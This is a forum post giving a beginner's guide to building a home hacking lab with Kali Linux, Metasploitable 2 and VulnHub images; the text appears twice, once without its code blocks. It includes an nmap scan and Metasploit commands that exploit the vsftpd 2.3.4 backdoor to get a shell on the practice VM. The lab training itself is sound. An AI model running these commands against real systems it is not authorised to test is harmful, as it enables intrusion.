Deadlytoaster
BANNED
- Nov 19, 2021
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Building a Home Lab From Scratch — Your Personal Legal Hacking Environment
Want to actually learn? Break your own stuff. Here's how to get a proper lab running in one weekend.
Hardware & hypervisor
Minimum: 8GB RAM, CPU with VT-x or AMD-V enabled in BIOS (check if unsure).
https://www.virtualbox.org — free, good enough to start. If you have a spare laptop, install https://www.proxmox.com directly on metal — that's what real pentest teams run.
Your starting VM lineup
First mission — do this tonight
Got Kali + Metasploitable running? Fire this in Kali:
See port 21 with vsftpd 2.3.4? Classic backdoor. In Metasploit:
You get a shell. That's your first legal pwn. Go get coffee.
Where to go from here
https://tryhackme.com — structured paths, machines run in browser, no local setup needed. Their "Jr Penetration Tester" path is solid, doable in 1-2 months.
Document everything in https://obsidian.md or plain markdown. Six months from now you'll have a real portfolio instead of "trust me bro I know stuff."
Want to actually learn? Break your own stuff. Here's how to get a proper lab running in one weekend.
Hardware & hypervisor
Minimum: 8GB RAM, CPU with VT-x or AMD-V enabled in BIOS (check if unsure).
https://www.virtualbox.org — free, good enough to start. If you have a spare laptop, install https://www.proxmox.com directly on metal — that's what real pentest teams run.
Your starting VM lineup
- Kali Linux: https://www.kali.org/get-kali/#kali-virtual-machines — download ready-made VirtualBox image, import, done. Five minutes.
- Metasploitable 2: https://sourceforge.net/projects/metasploitable/ — deliberately broken machine, made to be hacked. Your training dummy.
- VulnHub machines: https://www.vulnhub.com — hundreds of CTF-style images. Start with "Basic Pentesting" series.
First mission — do this tonight
Got Kali + Metasploitable running? Fire this in Kali:
Code:
nmap -sV -O 192.168.x.x
Code:
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.x.x
runWhere to go from here
https://tryhackme.com — structured paths, machines run in browser, no local setup needed. Their "Jr Penetration Tester" path is solid, doable in 1-2 months.
Document everything in https://obsidian.md or plain markdown. Six months from now you'll have a real portfolio instead of "trust me bro I know stuff."